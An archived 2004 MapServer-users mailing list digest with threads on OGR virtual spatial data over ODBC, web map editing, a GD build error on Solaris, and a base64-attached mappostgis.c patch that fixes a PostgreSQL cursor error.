>>1: MGWI_TBLLOC (Point)
>>
>>When I execute Mapserver I got the following message:
>>msDrawMap(): Image handling error. Failed to draw layer named
> 
> 'MGWI_TBLLOC'.
> 
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
File
>>not found or unsupported format. 
>>
>>
>>
>>Thanks for the help
>>
>>H?ryk
>>
>>
>>
>>-----Message d'origine-----
>>De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>Envoy? : Wednesday, January 21, 2004 5:26 PM
>>? : Julien, Heryk
>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>Anctil, Martin
>>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>>Connectiontype)
>>
>>
>>Julien,
>>
>>Just because I do not know all the steps you have done, can you tell me 
>>if you were able to have some output form "ogrinfo" command?
>>
>>Norm
>>
>>Julien, Heryk wrote:
>>
>> 
>>
>>
>>>Hi Paul,
>>>What do I write in the virtual file SrcDataSource tag when I log on a
>>>   
>>>
>>
>>Access
>> 
>>
>>
>>>db with no user restrictions and pass word?
>>>I've tried the following combinations without success:
>>>
>>>ODBC:MGWI_MAPSERVER
>>>ODBC:@MGWI_MAPSERVER
>>>ODBC:/@MGWI_MAPSERVER
>>>ODBC:administor/@MGWI_MAPSERVER 
>>>ODBC:administeur/@MGWI_MAPSERVER
>>>
>>>Thanks
>>>H?ryk
>>>
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Wednesday, January 21, 2004 1:43 PM
>>>? : Julien, Heryk
>>>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>>>Anctil, Martin
>>>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>>>
>>>
>>>I believe there is a limitation in the OGR OBDC connection that requires 
>>>that you provide a user name and password in the OVF file (I think that 
>>>is mentioned in the wiki also).
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Julien, Heryk wrote:
>>>
>>>
>>>   
>>>
>>>
>>>>Hi,
>>>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with
> 
> IIS
> 
>>>>and an Access 2000 ODBC connection.
>>>>
>>>>I keep on getting the following error message when I attempt ton see my
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>map:
>>>
>>>
>>>   
>>>
>>>
>>>>msDrawMap(): Image handling error. Failed to draw layer named
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>'MGWI_TBLLOC'.
>>>
>>>
>>>   
>>>
>>>
>>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>File
>>>
>>>
>>>   
>>>
>>>
>>>>not found or unsupported format.
>>>>
>>>>Anyone can help me?
>>>>
>>>>
>>>>
>>>>Here is my virtual file (mgw.ovf):
>>>>
>>>>
>>>>  
>>>>      ODBC:MGWI_MAPSERVER 
>>>>	tblloc 
>>>>	wkbPoint
>>>>	         
>>>>	 
>>>>  
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>My virtual layer is in the same directory as my shapefiles:
>>>>
>>>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>>>
>>>>
>>>>
>>>>
>>>>Here is the section of my mapfile where I call my virtual layer:
>>>>
>>>>LAYER
>>>>	NAME "MGWI_TBLLOC"
>>>>	TYPE POINT
>>>>	CONNECTIONTYPE OGR
>>>>	CONNECTION "mgwi.ovf"
>>>>	DATA "MGWI_TBLLOC"
>>>>	STATUS DEFAULT
>>>>	LABELITEM "LOCID"
>>>>	PROJECTION
>>>>		"init=epsg:26920"
>>>>	END #projection
>>>>	CLASS
>>>>		SYMBOL 'circle'
>>>>		SIZE 8
>>>>		LABEL
>>>>			COLOR 132 31 31
>>>>			SHADOWCOLOR 218 218 218
>>>>			SHADOWSIZE 2 2
>>>>			TYPE TRUETYPE
>>>>			FONT arial-bold
>>>>			FORCE true
>>>>			SIZE 10
>>>>			POSITION auto
>>>>			PARTIALS FALSE
>>>>			MINDISTANCE 0
>>>>			BUFFER 2
>>>>		END # end of label
>>>>	    TEMPLATE
>>>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.htm
l
> 
> "
> 
>>>>	END # CLASS
>>>>END # LAYER
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>==========================================
>>>>H?ryk
>>>>NRCan
>>>>
>>>>-----Message d'origine-----
>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>>>? : 'spencer at dmsolutions.ca'
>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Thanks
>>>>
>>>>H?ryk
>>>>
>>>>-----Message d'origine-----
>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>>>? : Julien, Heryk
>>>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>>>
>>>>
>>>>Maybe you missed it?
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>
>>>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.ht
m
> 
> l
> 
>>>
>>>   
>>>
>>>
>>>>Cheers,
>>>>
>>>>Paul
>>>>
>>>>Julien, Heryk wrote:
>>>>
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>Hi Paul,
>>>>>Could you send me or post information on the "new format in 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations"?
>>>>>
>>>>>Thanks
>>>>>H?ryk
>>>>>
>>>>>-----Message d'origine-----
>>>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>>>? : 'spencer at dmsolutions.ca'
>>>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Hi,
>>>>>I am also very interseted in that fonction. I would like to be able to
>>>>>       
>>>>>
>>
>>map
>> 
>>
>>
>>>>>well positions from a database x and y colums. Would this permit me to
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>
>>>>have
>>>>
>>>>  
>>>>
>>>>     
>>>>
>>>>
>>>>>an up to date point geometry layer which reflects the changes in my
well
>>>>>database? Can you send me more details?
>>>>>
>>>>>Thanks
>>>>>
>>>>>H?ryk
>>>>>NRCan
>>>>>
>>>>>-----Message d'origine-----
>>>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>>>? : bartvde at xs4all.nl
>>>>>Cc : mapserver-users at lists.gis.umn.edu
>>>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>>>
>>>>>
>>>>>Bart,
>>>>>
>>>>>if you are interested in point geometries only, there is a new format
in
> 
> 
>>>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>>>source and map two of the columns to x and y locations.  We've used it 
>>>>>for a couple of clients and it works very nicely.  If you are
interested
> 
> 
>>>>>I can send you more details.
>>>>>
>>>>>Cheers,
>>>>>
>>>>>Paul
>>>>>
>>>>>Bart van den Eijnden wrote:
>>>>>
>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>>>
>>>>>>Hi list,
>>>>>>
>>>>>>I see in the history log that there has been some work done recently 
>>>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>>>connector. Can it be used already?
>>>>>>
>>>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>>>Mapserver JOINS to link to tables in MySQL?
>>>>>>
>>>>>>Thanks in advance for the info.
>>>>>>
>>>>>>Best regards,
>>>>>>Bart
>>>>>>_______________________________________________
>>>>>>Mapserver-users mailing list
>>>>>>Mapserver-users at lists.gis.umn.edu
>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>
>>>>>>      
>>>>>>
>>>>>>         
>>>>>>
>>>>>
>>>>>    
>>>>>
>>>>>       
>>>>>
>>>
>>>
>>>   
>>>
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> 
>>
> 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From steve.lime at dnr.state.mn.us  Thu Jan 22 14:03:54 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 22 Jan 2004 16:03:54 -0600
Subject: [Mapserver-users] How to edit?
Message-ID: 

I also have an applet. It's not MapServer specific per se, but uses WFS
and WMS to get/create/edit features and the background image. Seems to
work fine. We've used it with a homegrown servlet that talks to SDE.
Still needs a bit of work will XMLing the WFS communication (i.e it
ain't fully compliant) but it's close, and all the code to manage
coordinates (as linked lists of points) is there, as is the display.

Steve

>>> "Wim Blanken (PI)"  1/22/2004 1:04:50 PM
>>>
Hello Juraj,

I have created an application in which you can digitise points, lines
and polygons with attribute data with Mapserver using CGI mapserver +
javascript + php and finally a little mapscript to write the shapefile.
It works with a slightly changed jbox that gives the user the ability
to use the line tool to create points, lines and polygons.
The coordinates are stored in an array and then passed on to the php
script creating the shapefile.
It works like a charm but i am still testing this but when I am
finished I could send the snippets to you....

W. Blanken
Geon bv
The Netherlands
  ----- Original Message ----- 
  From: Juraj Cenek 
  To: mapserver-users at lists.gis.umn.edu 
  Sent: Thursday, January 22, 2004 9:07 AM
  Subject: [Mapserver-users] How to edit?


  Hallo, I have one question about the mapserver, is it possible 
  to modify the maps online (for example every user can create his 
  own layer on the server, when he inputs the password, his layers 
  will appear). Is this possible? (for example user wants to create 
  own map of his trips among his country) I've seen applications, 
  that can input points, but no application, that can include line, 
  polygone......
  >Thanx, 
  >        Ing. Juraj Cenek



From scoota at supanet.com  Thu Jan 22 14:09:01 2004
From: scoota at supanet.com (Keith Campbell)
Date: Thu, 22 Jan 2004 22:09:01 +0000
Subject: [Mapserver-users] Configure Error
Message-ID: <401049FD.4080401@supanet.com>

Hi All,

I'm sure this is basic stuff to most of you. i'm trying to install 
MapServer on Solaris. When running the configure, i get the following:-
'configure: error: Could not find gd.h or libgd.a/libgd.so in 
/export/home/local/
util/gd-2.0.15. Make sure GD 2.0.12 or higher is compiled before calling 
configure.'
I've not been responsible for the GD install, but I'm assuming that 
because neither libgd.a nor libgd.so is in the 
/export/home/local/util/gd-2.0.15 directory that GD has not been 
compiled. Am I right? How can I tell if it is? There's loads of other 
files in the directory, but presumably the presence of one in particualr 
will tell me if GD has been compiled.

Thanks,

Keith



From cpurvis at asg.sc.edu  Thu Jan 22 14:21:40 2004
From: cpurvis at asg.sc.edu (Charlton Purvis)
Date: Thu, 22 Jan 2004 17:21:40 -0500
Subject: [Mapserver-users] change to  mappostgis.c for  psql 7.4.1
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E136.1B97F4E3
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Don't know if this postgis post made it to mapserver land, but I just
ran into this problem w/ our latest upgrade to pgsl 7.4.1, mapserver
4.0, and postgix 0.8.1.

If you find this in your log:
. . . as foo WHERE gid =3D 40716 -ERROR: cursor "mycursor" already =
exists
. . .

> This is a problem with the mapserver-postgis connector.
>
> There are several issues outstanding involving querying.

So . . .

> I have just added the explicit "CLOSE cursor" instruction in the code
and=20
> now It seems to work. This is the first time that I look at the
mapserver=20
> code so, my modify could be "dangerous" for other aspects that I don't

> know.

Look for the name 'Bonnin Stefano' inside the attached .c for the
modified snips.

Although this post looks similar, too.  Maybe another fix? =20
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00089.h
tml

Anyway, the attached .c works great.

Charlton



=20
=20
=20
Charlton Purvis
(803) 777-8858 : voice
(803) 777-3935 : fax
cpurvis at sc.edu
=20
Baruch Institute
University of South Carolina
Columbia, SC 29208


------_=_NextPart_001_01C3E136.1B97F4E3
Content-Type: application/octet-stream;
	name="mappostgis.c"
Content-Transfer-Encoding: base64
Content-Description: mappostgis.c
Content-Disposition: attachment;
	filename="mappostgis.c"

LyogJElkOiBtYXBwb3N0Z2lzLmMsdiAxLjI3LjIuMSAyMDAzLzEwLzE0IDE1OjA2OjU5IGRhbiBF
eHAgJCAqLwojaW5jbHVkZSAibWFwLmgiCgojaWZuZGVmIEZMVF9NQVgKI2RlZmluZSBGTFRfTUFY
IDI1MDAwMDAwLjAKI2VuZGlmCgojaWZkZWYgVVNFX1BPU1RHSVMKCiNpZm5kZWYgTElUVExFX0VO
RElBTgojZGVmaW5lIExJVFRMRV9FTkRJQU4gMQojZW5kaWYKI2lmbmRlZiBCSUdfRU5ESUFOCiNk
ZWZpbmUgQklHX0VORElBTiAyCiNlbmRpZgoKI2luY2x1ZGUgImxpYnBxLWZlLmgiCiNpbmNsdWRl
IDxzdHJpbmcuaD4KCgp0eXBlZGVmIHN0cnVjdCBtc19QT1NUR0lTX2xheWVyX2luZm9fdAp7Cglj
aGFyCQkqc3FsOwkJLy9zcWwgcXVlcnkgdG8gc2VuZCB0byBEQgoJUEdjb25uICAgICAqY29ubjsg
CS8vY29ubmVjdGlvbiB0byBkYgoJbG9uZwkgCXJvd19udW07ICAJLy93aGF0IHJvdyBpcyB0aGUg
TkVYVCB0byBiZSByZWFkIChmb3IgcmFuZG9tIGFjY2VzcykKIAlQR3Jlc3VsdCAgICpxdWVyeV9y
ZXN1bHQ7Ly9mb3IgZmV0Y2hpbmcgcm93cyBmcm9tIHRoZSBkYgoJY2hhcgkJKnVyaWRfbmFtZTsg
Ly8gbmFtZSBvZiB1c2VyLXNwZWNpZmllZCB1bmlxdWUgaWRlbnRpZmllciBvciBPSUQKCWNoYXIJ
CSp1c2VyX3NyaWQ7IC8vemVybyBsZW5ndGggPSBjYWxjdWxhdGUsIG5vbi16ZXJvIG1lYW5zIHVz
aW5nIHRoaXMgdmFsdWUhCgp9IG1zUE9TVEdJU0xheWVySW5mbzsKCiNpZiAhZGVmaW5lZChfV0lO
MzIpCmNoYXIgdG9sb3dlcihjaGFyIGMpCnsKCWlmICgoYyA8J0EnKSB8fCAoYz4nWicpKQoJCXJl
dHVybiBjOwoJcmV0dXJuIGMtJ0EnKydhJzsKCn0KI2VuZGlmCgoKCm1zUE9TVEdJU0xheWVySW5m
byAqZ2V0UG9zdEdJU0xheWVySW5mbyhsYXllck9iaiAqbGF5ZXIpCnsKCXJldHVybiBsYXllci0+
bGF5ZXJpbmZvOwkKfQoKdm9pZCBzZXRQb3N0R0lTTGF5ZXJJbmZvKGxheWVyT2JqICpsYXllcixt
c1BPU1RHSVNMYXllckluZm8gKnBvc3RnaXNsYXllcmluZm8gKQp7CgkgbGF5ZXItPmxheWVyaW5m
byA9ICh2b2lkKilwb3N0Z2lzbGF5ZXJpbmZvOwp9CgoKLy9yZW1vdmUgd2hpdGUgc3BhY2UKLy9k
b250IHNlbmQgaW4gZW1wdHkgc3RyaW5ncyBvciBzdHJpbmdzIHdpdGgganVzdCAiICIgaW4gdGhl
bSEKY2hhciogcmVtb3ZlV2hpdGUoY2hhciAqc3RyKQp7CglpbnQgaW5pdGlhbDsKCWNoYXIgKm9y
aWcsKmxvYzsKCglpbml0aWFsID0gc3Ryc3BuKHN0ciwgIiAiKTsKCWlmIChpbml0aWFsICE9IDAp
Cgl7CgkJbWVtbW92ZShzdHIsIHN0cisgaW5pdGlhbCwgc3RybGVuKHN0cikgLSBpbml0aWFsKzEp
OwoJfQoJLy9ub3cgZmluYWwKCWlmIChzdHJsZW4oc3RyKSA9PSAwKQoJCXJldHVybiBzdHI7Cglp
ZiAoc3RyWyBzdHJsZW4oc3RyKS0xXSA9PSAnICcpCgl7CgkJLy9oYXZlIHRvIHJlbW92ZSBmcm9t
IGVuZAoJCW9yaWcgPSBzdHI7CgkJbG9jID0gJnN0clsgc3RybGVuKHN0ciktMV07CgkJd2hpbGUg
KCggKmxvYyA9ICcgJykgJiYgKGxvYyA+b3JpZykgKQoJCXsKCQkJKmxvYyA9IDA7CgkJCWxvYy0t
OwoJCX0KCX0KCXJldHVybiBzdHI7Cn0KCgpjaGFyICpzdHJzdHJJZ25vcmVDYXNlKGNoYXIgKmhh
eXN0YWNrLCBjaGFyICpuZWVkbGUpCnsKCWNoYXIgKmhheV9sb3dlcjsKCWNoYXIgKm5lZWRsZV9s
b3dlcjsKCWludCBsZW5faGF5LGxlbl9uZWVkOwoJaW50IHQ7CgljaGFyICpsb2M7CgoJbGVuX2hh
eSA9IHN0cmxlbihoYXlzdGFjayk7CglsZW5fbmVlZD0gc3RybGVuKG5lZWRsZSk7CgoJaGF5X2xv
d2VyID0gKGNoYXIgKikgbWFsbG9jIChsZW5faGF5ICsxKTsKCW5lZWRsZV9sb3dlcj0oY2hhciop
IG1hbGxvYyAobGVuX25lZWQrMSk7CgoKCWZvcih0PTA7dDxsZW5faGF5O3QrKykKCXsKCQloYXlf
bG93ZXJbdF0gPSB0b2xvd2VyKGhheXN0YWNrW3RdKTsKCX0KCWhheV9sb3dlclt0XSA9IDA7CgoJ
Zm9yKHQ9MDt0PGxlbl9uZWVkO3QrKykKCXsKCQkJbmVlZGxlX2xvd2VyW3RdID0gdG9sb3dlcihu
ZWVkbGVbdF0pOwoJfQoJbmVlZGxlX2xvd2VyW3RdID0wOwoKCWxvYyA9IHN0cnN0cihoYXlfbG93
ZXIsbmVlZGxlX2xvd2VyKTsKCWZyZWUoaGF5X2xvd2VyKTsKCWZyZWUobmVlZGxlX2xvd2VyKTsK
CglpZiAobG9jID09IE5VTEwpCgl7CgkJcmV0dXJuIE5VTEw7Cgl9CglyZXR1cm4gaGF5c3RhY2sg
KyAobG9jLWhheV9sb3dlcik7Cn0KCgp2b2lkIHBvc3RyZXNxbF9OT1RJQ0VfSEFORExFUih2b2lk
ICphcmcsIGNvbnN0IGNoYXIgKm1lc3NhZ2UpCnsKICAgIGxheWVyT2JqICpscDsKICAgIGxwID0g
KGxheWVyT2JqKilhcmc7CgogICAgaWYgKGxwLT5kZWJ1ZykKICAgICAgICBtc0RlYnVnKCIlcyIs
IG1lc3NhZ2UpOwp9CgoKY2hhciAqREFUQUVSUk9STUVTU0FHRShjaGFyICpkU3RyaW5nLCBjaGFy
ICpwcmVhbWJsZSkKewoJY2hhcgkqbTsKCWNoYXIJdG1wWzcwMDBdOwoKCW0gPSAoY2hhciopIG1h
bGxvYygxMDAwMCk7CgoKCglzcHJpbnRmKG0sIiVzIixwcmVhbWJsZSk7CgoJCXNwcmludGYodG1w
LCJFcnJvciB3aXRoIFBPU1RHSVMgZGF0YSB2YXJpYWJsZS4gWW91IHNwZWNpZmllZCAnJXMnLjxi
cj5cbiIsIGRTdHJpbmcpOwoJCXN0cmNhdChtLHRtcCk7CgoJCXNwcmludGYodG1wLCJTdGFuZGFy
ZCB3YXlzIG9mIHNwZWNpZml5aW5nIGFyZSA6IDxicj5cbigxKSAnZ2VvbWV0cnlfY29sdW1uIGZy
b20gZ2VvbWV0cnlfdGFibGUnIDxicj5cbigyKSAnZ2VvbWV0cnlfY29sdW1uIGZyb20gKCZsdDtz
dWIgcXVlcnkmZ3Q7KSBhcyBmb28gdXNpbmcgdW5pcXVlICZsdDtjb2x1bW4gbmFtZSZndDsgdXNp
bmcgU1JJRD0mbHQ7c3JpZCMmZ3Q7JyA8YnI+PGJyPlxuXG4iKTsKCQlzdHJjYXQobSx0bXApOwoK
CQlzcHJpbnRmKHRtcCwiTWFrZSBzdXJlIHlvdSBwdXQgaW4gdGhlICd1c2luZyB1bmlxdWUgICZs
dDtjb2x1bW4gbmFtZSZndDsnIGFuZCAndXNpbmcgU1JJRD0jJyBjbGF1c2VzIGluLlxuXG48YnI+
PGJyPiIpOwoJCXN0cmNhdChtLHRtcCk7CgoJCXNwcmludGYodG1wLCJGb3IgbW9yZSBoZWxwLCBw
bGVhc2Ugc2VlIGh0dHA6Ly9wb3N0Z2lzLnJlZnJhY3Rpb25zLm5ldC9kb2N1bWVudGF0aW9uLnBo
cCBcblxuPGJyPjxicj4iKTsKCQlzdHJjYXQobSx0bXApOwoKCgkJc3ByaW50Zih0bXAsIk1hcHBv
c3RnaXMuYyAtIHZlcnNpb24gb2YgSnVuZSAxMi8yMDAzLlxuIik7CgkJc3RyY2F0KG0sdG1wKTsK
Ci8vcHJpbnRmKCIlcyIsbSk7Ci8vcHJpbnRmKCJzaXplID0gJWlcbiIsc3RybGVuKG0pKTsKCgly
ZXR1cm4gbTsKCgp9CgoKCgppbnQgbXNQT1NUR0lTTGF5ZXJQYXJzZURhdGEoY2hhciAqZGF0YSwg
Y2hhciAqZ2VvbV9jb2x1bW5fbmFtZSwKCQkJCQljaGFyICp0YWJsZV9uYW1lLCBjaGFyICp1cmlk
X25hbWUsY2hhciAqdXNlcl9zcmlkKTsKCgoKc3RhdGljIGludCBnQllURV9PUkRFUiA9IDA7Cgov
L29wZW4gdXAgYSBjb25uZWN0aW9uIHRvIHRoZSBwb3N0Z3Jlc3FsIGRhdGFiYXNlIHVzaW5nIHRo
ZSBjb25uZWN0aW9uIHN0cmluZyBpbiBsYXllci0+Y29ubmVjdGlvbgovLyBpZS4gImhvc3Q9MTky
LjE2OC41MC4zIHVzZXI9cG9zdGdyZXMgcG9ydD01NTU1IGRibmFtZT1tYXBzZXJ2IgppbnQgbXNQ
T1NUR0lTTGF5ZXJPcGVuKGxheWVyT2JqICpsYXllcikKewoJbXNQT1NUR0lTTGF5ZXJJbmZvCSps
YXllcmluZm87CiAgICAgICAgaW50CQkJb3JkZXJfdGVzdCA9IDE7CgovL2ZwcmludGYoc3RkZXJy
LCJtc1BPU1RHSVNMYXllck9wZW4gY2FsbGVkXG4iKTsKCWlmIChnZXRQb3N0R0lTTGF5ZXJJbmZv
KGxheWVyKSkKCQlyZXR1cm4gTVNfU1VDQ0VTUzsJLy9hbHJlYWR5IG9wZW4KCiAgICAgICAgaWYo
IGxheWVyLT5kYXRhID09IE5VTEwgKQogICAgICAgIHsKCgogICAgICAgICAgICBtc1NldEVycm9y
KE1TX1FVRVJZRVJSLAoJCQkJCURBVEFFUlJPUk1FU1NBR0UoIiIsIkVycm9yIHBhcnNpbmcgUE9T
VEdJUyBkYXRhIHZhcmlhYmxlOiBub3RoaW5nIHNwZWNpZmllZCBpbiBEQVRBIHN0YXRlbWVudC48
YnI+PGJyPlxuXG5Nb3JlIEhlbHA6PGJyPjxicj5cblxuIiksCgkJCQkJIm1zUE9TVEdJU0xheWVy
T3BlbigpIik7CgogICAgICAgICAgICByZXR1cm4oTVNfRkFJTFVSRSk7CiAgICAgICAgfQoKCS8v
aGF2ZSB0byBzZXR1cCBhIGNvbm5lY3Rpb24gdG8gdGhlIGRhdGFiYXNlCgoJbGF5ZXJpbmZvID0g
KG1zUE9TVEdJU0xheWVySW5mbyAqKSBtYWxsb2MoIHNpemVvZihtc1BPU1RHSVNMYXllckluZm8p
ICk7CglsYXllcmluZm8tPnNxbCA9IE5VTEw7IC8vY2FsYyBsYXRlcgoJbGF5ZXJpbmZvLT5yb3df
bnVtPTA7CglsYXllcmluZm8tPnF1ZXJ5X3Jlc3VsdD0gTlVMTDsKCWxheWVyaW5mby0+dXJpZF9u
YW1lPSBOVUxMOyAKCWxheWVyaW5mby0+dXNlcl9zcmlkPSBOVUxMOwoKCWxheWVyaW5mby0+Y29u
biA9IFBRY29ubmVjdGRiKCBsYXllci0+Y29ubmVjdGlvbiApOwoKICAgIGlmIChQUXN0YXR1cyhs
YXllcmluZm8tPmNvbm4pID09IENPTk5FQ1RJT05fQkFEKQogICAgewogICAgICAgIG1zU2V0RXJy
b3IoTVNfUVVFUllFUlIsICJjb3VsZG50IG1ha2UgY29ubmVjdGlvbiB0byBEQiB3aXRoIGNvbm5l
Y3Qgc3RyaW5nICclcycuXG48YnI+XG5FcnJvciByZXBvcnRlZCB3YXMgJyVzJy5cbjxicj5cblxu
VGhpcyBlcnJvciBvY2N1cmVkIHdoZW4gdHJ5aW5nIHRvIG1ha2UgYSBjb25uZWN0aW9uIHRvIHRo
ZSBzcGVjaWZpZWQgcG9zdGdyZXNxbCBzZXJ2ZXIuICBcbjxicj5cbk1vc3QgY29tbW9ubHkgdGhp
cyBpcyBjYXVzZWQgYnkgPGJyPlxuKDEpIGluY29ycmVjdCBjb25uZWN0aW9uIHN0cmluZyA8YnI+
XG4oMikgeW91IGRpZG50IHNwZWNpZnkgYSAndXNlcj0uLi4nIGluIHlvdXIgY29ubmVjdGlvbiBz
dHJpbmcgPGJyPlxuKDMpIHRoZSBwb3N0bWFzdGVyIChwb3N0Z3Jlc3FsIHNlcnZlcikgaXNudCBy
dW5uaW5nIDxicj5cbig0KSB5b3UgYXJlIG5vdCBhbGxvd2luZyBUQ1AvSVAgY29ubmVjdGlvbiB0
byB0aGUgcG9zdG1hc3RlciA8YnI+XG4oNSkgeW91ciBwb3N0bWFzdGVyIGlzIG5vdCBydW5uaW5n
IG9uIHRoZSBjb3JyZWN0IHBvcnQgLSBpZiBpdHMgbm90IG9uIDU0MzIgeW91IG11c3Qgc3BlY2lm
eSBhICdwb3J0PS4uLicgPGJyPlxuICg2KSB0aGUgc2VjdXJpdHkgb24geW91ciBzeXN0ZW0gZG9l
cyBub3QgYWxsb3cgdGhlIHdlYnNlcnZlciAodXN1YWxseSB1c2VyICdub2JvZHknKSB0byBtYWtl
IHNvY2tldCBjb25uZWN0aW9ucyB0byB0aGUgcG9zdG1hc3RlciA8YnI+XG4oNykgeW91IGZvcmdv
dCB0byBzcGVjaWZ5IGEgJ2hvc3Q9Li4uJyBpZiB0aGUgcG9zdG1hc3RlciBpcyBvbiBhIGRpZmZl
cmVudCBtYWNoaW5lPGJyPlxuKDgpIHlvdSBtYWRlIGEgdHlwbyA8YnI+XG4gICIsCiAgICAgICAg
ICAgICAgICAgIm1zUE9TVEdJU0xheWVyT3BlbigpIiwgbGF5ZXItPmNvbm5lY3Rpb24sUFFlcnJv
ck1lc3NhZ2UobGF5ZXJpbmZvLT5jb25uKSApOwoKCSAgZnJlZShsYXllcmluZm8pOwoJICByZXR1
cm4oTVNfRkFJTFVSRSk7CiAgICB9CgoJUFFzZXROb3RpY2VQcm9jZXNzb3IobGF5ZXJpbmZvLT5j
b25uLCBwb3N0cmVzcWxfTk9USUNFX0hBTkRMRVIgLCh2b2lkICopIGxheWVyKTsKCgoKCXNldFBv
c3RHSVNMYXllckluZm8obGF5ZXIsICAgbGF5ZXJpbmZvKTsKCiAgICAgICAgaWYoICgoY2hhciAq
KSAmb3JkZXJfdGVzdClbMF0gPT0gMSApCiAgICAgICAgICAgIGdCWVRFX09SREVSID0gTElUVExF
X0VORElBTjsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGdCWVRFX09SREVSID0gQklHX0VORElB
TjsKCglyZXR1cm4gTVNfU1VDQ0VTUzsKfQoKCi8vIEZyZWUgdGhlIGl0ZW1pbmRleGVzIGFycmF5
IGluIGEgbGF5ZXIuCnZvaWQgICAgbXNQT1NUR0lTTGF5ZXJGcmVlSXRlbUluZm8obGF5ZXJPYmog
KmxheWVyKQp7Ci8vZnByaW50ZihzdGRlcnIsIm1zUE9TVEdJU0xheWVyRnJlZUl0ZW1JbmZvIGNh
bGxlZFxuIik7CgogCWlmIChsYXllci0+aXRlbWluZm8pCiAgICAgIAlmcmVlKGxheWVyLT5pdGVt
aW5mbyk7CiAgCWxheWVyLT5pdGVtaW5mbyA9IE5VTEw7Cn0KCgovL2FsbG9jYXRlIHRoZSBpdGVt
aW5mbyBpbmRleCBhcnJheSAtIHNhbWUgb3JkZXIgYXMgdGhlIGl0ZW0gbGlzdAppbnQgbXNQT1NU
R0lTTGF5ZXJJbml0SXRlbUluZm8obGF5ZXJPYmogKmxheWVyKQp7CglpbnQgICBpOwoJaW50ICpp
dGVtaW5kZXhlcyA7CgovL2ZwcmludGYoc3RkZXJyLCJtc1BPU1RHSVNMYXllckluaXRJdGVtSW5m
byBjYWxsZWRcbiIpOwoKCgoJaWYgKGxheWVyLT5udW1pdGVtcyA9PSAwKQogICAgICAJcmV0dXJu
IE1TX1NVQ0NFU1M7CgoJaWYgKGxheWVyLT5pdGVtaW5mbykKICAgICAJIAlmcmVlKGxheWVyLT5p
dGVtaW5mbyk7CgogCWlmKChsYXllci0+aXRlbWluZm8gPSAoaW50ICopbWFsbG9jKHNpemVvZihp
bnQpKmxheWVyLT5udW1pdGVtcykpPT0gTlVMTCkKICAJewogICAJCW1zU2V0RXJyb3IoTVNfTUVN
RVJSLCBOVUxMLCAibXNQT1NUR0lTTGF5ZXJJbml0SXRlbUluZm8oKSIpOwogICAJIAlyZXR1cm4o
TVNfRkFJTFVSRSk7CiAgCX0KCglpdGVtaW5kZXhlcyA9IChpbnQqKWxheWVyLT5pdGVtaW5mbzsK
